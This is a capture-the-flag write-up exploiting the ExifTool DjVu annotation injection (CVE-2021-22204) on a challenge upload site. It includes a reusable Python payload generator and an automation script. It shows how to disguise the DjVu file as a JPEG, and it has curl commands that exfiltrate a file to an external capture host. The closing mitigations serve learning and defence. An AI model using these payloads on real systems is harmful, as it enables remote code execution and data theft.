>MetaLens Pro — ExifTool DjVu ANTa Injection (CVE-2021-22204)
Target: http://rmcjzvc3.chals.mctf.io/
Flag format: MetaCTF{...}
Flag obtained: MetaCTF{exif_to0l_versi0n_c4n_kill_you}
>Summary
This writeup documents a successful exploitation of an ExifTool DjVu annotation (ANTa) Perl injection vulnerability (CVE-2021-22204) present in an image metadata analysis platform (MetaLens Pro). The vulnerability allows injection of Perl expressions that cause arbitrary command execution when ExifTool processes crafted DjVu files. Using a DjVu payload embedded in an upload disguised as a JPEG, we executed commands on the remote host and exfiltrated /app/flag.txt via an HTTP POST to a temporary logging service.
This chain demonstrates: reconnaissance → crafted DjVu ANTa payload → upload to server → remote command execution via ExifTool → exfiltration to an external receiver → flag recovery.
>Reconnaissance
- Visited the application homepage; it provides an image upload form which POSTs multipart/form-data to
/and returns JSON metadata parsed by ExifTool. - Observed ExifTool version in responses: 12.23 (vulnerable range).
- Uploads are accepted and processed server-side; uploaded files are identified by ExifTool output in the JSON response.
Example benign upload test (creates test.png and uploads):
# create a tiny PNG for testing
printf '\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\0\x01\0\0\0\x01\x08\x02\0\0\0\x90wS\xde\0\0\0\x0bIDAT\x08\xd7c``\xf8\xff\xff?\0\x05\xfe\x02\xfeA\xa7S\x9a\0\0\0\0IEND\xaeB`\x82' > test.png
# Upload
curl -i -X POST -F "images[]=@test.png" http://rmcjzvc3.chals.mctf.io/Response contains JSON with ExifTool fields returned, confirming server-side parsing.
>Vulnerability details
- A known ExifTool vulnerability (CVE-2021-22204) allows Perl code injection when processing certain DjVu annotation chunks (ANTa). The DjVu ANTa chunk can include a metadata expression that ExifTool evaluates using Perl constructs such as
\c@{[...]}orqx{...}backticks, which can lead to command execution. - ExifTool versions 7.44 through 12.23 inclusive were vulnerable. The challenge server reports ExifTool
12.23in JSON responses — within the vulnerable range.
Reference: the Metasploit module exiftool_djvu_ant_perl_injection and public PoCs.
>Attack strategy
- Build a DjVu file (or adapt a DjVu template) whose ANTa annotation contains a Perl-executable expression to run arbitrary shell commands.
- Upload the DjVu file to the application, disguising it as a JPEG (e.g., filename
exploit.jpgand form content typeimage/jpeg) if the server filters by extension or MIME type. - The server runs ExifTool on the file; the ANTa payload triggers command execution.
- Use that command execution to exfiltrate
/app/flag.txtto an external endpoint we control (a temporary HTTP "bin" / capture service). - Retrieve the posted contents from the external capture service to obtain the flag.
>Exploit
#!/usr/bin/env python3
"""
generate_exploit.py
Builds a minimal DjVu file containing an ANTa annotation that triggers ExifTool's
ANTa Perl expression evaluation. Use this only for testing in controlled lab
or CTF environments where you have permission.
Usage:
./generate_exploit.py --cmd "<shell command>" --out exploit.djvu
Example:
./generate_exploit.py --cmd "cat /app/flag.txt | curl -s --data-binary @- https://ptsv3.com/t/noigeltest/post" --out exploit_flag.djvu
This script creates a minimal AT&TFORM/DJVU structure with an INFO chunk and an
ANTa chunk containing the payload. It intentionally mirrors the structure used
in public PoCs and Metasploit templates for CVE-2021-22204.
"""
import argparse
import struct
from pathlib import Path
def make_chunk(tag: bytes, data: bytes) -> bytes:
"""Create a chunk with 4-byte tag, 4-byte big-endian size and payload.
If the payload length is odd, append a single 0x00 padding byte after payload
to keep 16-bit alignment (IFF style).
"""
size = len(data)
out = bytearray()
out += tag
out += struct.pack('>I', size)
out += data
if size % 2 == 1:
out += b'\x00'
return bytes(out)
def build_djvu(payload_cmd: str) -> bytes:
"""Construct a minimal DjVu file where the ANTa chunk contains the Perl
injection expression that executes payload_cmd.
"""
# Build the ANTa metadata expression. We use the same pattern seen in PoCs:
# (metadata (Author "\c@{[`<cmd>`]}"))
# Note: backslashes need to be escaped in the final byte string.
# We'll craft the string so ExifTool sees the perl expression.
perl_expr = f"(metadata (Author " + "\\\\c@{[`" + payload_cmd + "`]}}\"))"
# But the above construction is painful to escape; simpler: build logically
# using known literal pieces.
# We'll directly craft the payload bytes more carefully:
payload = f'(metadata (Author "\\c@{{[`{payload_cmd}`]}}"))'.encode()
# Minimal INFO chunk data (some valid-looking header fields). We don't need
# valid values for exploitation; ExifTool parses ANTa.
info_data = b'\x00\x08\x00\x08\x00d\x00d\x00\x00\x00\x01'
body = bytearray()
# FORM type 'DJVU' first 4 bytes of FORM payload
body += b'DJVU'
# INFO chunk
body += make_chunk(b'INFO', info_data)
# ANTa chunk
body += make_chunk(b'ANTa', payload)
# Top-level FORM wrapper: AT&TFORM with big-endian length and then DJVM
form_payload = bytes(body)
top = bytearray()
top += b'AT&TFORM'
top += struct.pack('>I', len(form_payload))
top += form_payload
return bytes(top)
def main():
p = argparse.ArgumentParser(description='Generate DjVu ANTa exploit')
p.add_argument('--cmd', required=True, help='Shell command to embed')
p.add_argument('--out', default='exploit.djvu', help='Output filename')
args = p.parse_args()
djvu = build_djvu(args.cmd)
Path(args.out).write_bytes(djvu)
print(f'Wrote {len(djvu)} bytes to {args.out}')
if __name__ == '__main__':
main()
>Exploit automation sh
#!/usr/bin/env bash
# exploit_automation.sh
# Usage: ./exploit_automation.sh <target_upload_url> <capture_api_latest_url> "<command>"
# Example:
# ./exploit_automation.sh "http://rmcjzvc3.chals.mctf.io/" "https://ptsv3.com/api/noigeltest/latest" "cat /app/flag.txt | curl -s --data-binary @- https://ptsv3.com/t/noigeltest/post"
set -euo pipefail
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <target_upload_url> <capture_api_latest_url> \"<command>\""
exit 2
fi
TARGET_UPLOAD_URL="$1"
CAPTURE_API="$2"
CMD="$3"
OUT_DJVU=exploit_auto.djvu
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 not found in PATH"
exit 1
fi
# Generate exploit file
./generate_exploit.py --cmd "$CMD" --out "$OUT_DJVU"
# Upload; disguise as JPEG filename to bypass naive checks (as used in CTF)
echo "Uploading exploit to ${TARGET_UPLOAD_URL} ..."
curl -s -X POST -F "images[]=@${OUT_DJVU};type=image/jpeg;filename=exploit.jpg" "$TARGET_UPLOAD_URL" | jq -C .
# Give the remote a moment to perform ExifTool parsing and the exfil
sleep 1
# Fetch the capture endpoint latest entry
echo "Fetching capture API: ${CAPTURE_API}"
curl -s "$CAPTURE_API" | jq -r '.body'
# Note: This script is for lab/CTF use only. Do not run against systems you do
# not own or have permission to test.
>Reproduction & Proof-of-Concept
Below are the core snippets and commands used during exploitation. These are the exact techniques and representative scripts used to craft the DjVu ANTa payload and perform exfiltration.
1) DjVu payload structure
A DjVu file is an IFF-style container with FORM chunks. The vulnerable annotation chunk is ANTa inside a FORM of type DJVI.
The ANTa chunk may contain a (metadata (Author "...")) entry. ExifTool's DjVu parser was susceptible to a Perl injection when it handled these annotation strings.
A simple ANTa metadata payload pattern used in PoCs is:
(metadata (Author "\c@{[`<injected-shell-command>`]}") )When ExifTool evaluated this, it could execute the injected command.
2) Python helper used to patch msf.djvu-style template
A compact Python approach was used to find the ANTa chunk in a template DjVu file and replace its payload with our command. Example (conceptually similar to what was used):
# snippet: replace ANTa payload inside a DjVu template
import struct
from pathlib import Path
f = Path('msf.djvu').read_bytes()
# parse top-level form size
form_size = struct.unpack('>I', f[8:12])[0]
form_type = f[12:16]
def parse(data):
# parse chunks recursively (omitted here for brevity)
pass
# Build the payload string to execute command
cmd = "bash -c 'cat /app/flag.txt | curl -s --data-binary @- https://ptsv3.com/t/noigeltest/post'"
payload = f"(metadata (Author \\\"\\c@{{[`{cmd}`]}}\\\"))".encode()
# Locate ANTa chunk and replace its data with payload, then write out exploit.djvu
# (full script used interactively during exploitation is in-session; this snippet is illustrative)3) Disguising and uploading the payload
The server validates the uploaded field name and may check the file extension or MIME type; we bypassed simple checks by uploading the DjVu file but specifying a JPEG filename/MIME in the multipart POST. Example upload command used repeatedly during testing:
# upload crafted DjVu file but call it exploit.jpg so upload field accepts it
curl -s -X POST -F "images[]=@exploit_flag.djvu;type=image/jpeg;filename=exploit_flag.jpg" http://rmcjzvc3.chals.mctf.io/The application accepted the file and returned ExifTool-parsed JSON.
4) Exfiltration endpoint (temporary capture service)
I used a PTSV3 bin as a simple HTTP capture endpoint that accepts POSTs. Example:
- Create or use a bin:
http://ptsv3.com/t/noigeltest/post - After sending data there, retrieve the captured contents via
http://ptsv3.com/api/noigeltest/latest.
5) The exact exfil command embedded in ANTa
The final ANTa payload used to exfiltrate flag.txt was:
(metadata (Author "\c@{[`bash -c 'cat /app/flag.txt | curl -s --data-binary @- https://ptsv3.com/t/noigeltest/post'`]}"))This uses a bash -c wrapper to read the file and pipe its contents into curl --data-binary which posts the raw bytes to our PTSV3 capture endpoint.
After uploading the DjVu payload containing that ANTa payload (again disguised as a JPEG upload), the server executed ExifTool which evaluated the ANTa and ran our embedded bash -c ... pipeline, resulting in the flag being POSTed to PTSV3.
6) Retrieve the flag from PTSV3
Fetch the latest captured request (the POST that contained the flag):
curl -s https://ptsv3.com/api/noigeltest/latestThe PTSV3 JSON body field contained the flag text.
Example response body (exfiltrated file contents):
MetaCTF{exif_to0l_versi0n_c4n_kill_you}
This is the flag obtained and recorded.
>Artifacts and filenames created during exploitation
(Stored in the workspace under solution/ or in the working directory used while testing.)
exploit_flag.djvu— DjVu file with ANTa metadata set to run exfil commandexploit11.djvu,exploit10.djvu,exploit6.djvu, etc. — intermediate payload variants (see session notes)test.png— tiny test image used to confirm upload flowmsf.djvu— Metasploit sample DjVu template (used for reference)solution/001_recon.txt— reconnaissance notessolution/002_exploitation.txt— exploit development notessolution/003_flag.txt— the recovered flag (contains:MetaCTF{exif_to0l_versi0n_c4n_kill_you})solution/writeup.md— this report
>Mitigation and recommendations
If this were a real product and not a CTF challenge, the following mitigations are recommended:
- Upgrade ExifTool to a fixed version (post CVE-2021-22204). The upstream ExifTool patches neutralize ANTa Perl expression evaluation.
- Run metadata extraction in a sandboxed environment with minimal privileges and no network access for metadata parsing operations.
- Sanitize DjVu annotations: treat annotation strings as untrusted text and never evaluate them as code.
- Apply strict input validation for uploaded files and avoid calling external programs with untrusted input.
- Log and monitor unusual outbound network requests from the metadata processing service (e.g., attempts to reach external hosts triggered during parsing).
>Responsible disclosure / remediation notes (for challenge authors)
- The vulnerable component is ExifTool processing code; upgrading ExifTool will remove the attack vector.
- If the application intentionally exposes metadata parsing results, sanitize or escape outputs before inclusion in JSON responses.
>Closing notes
- The exploit proves the characteristic risk of running complex parsers on untrusted files.
- The chain used an established PoC technique (DjVu ANTa injection) to run arbitrary commands and exfiltrate data.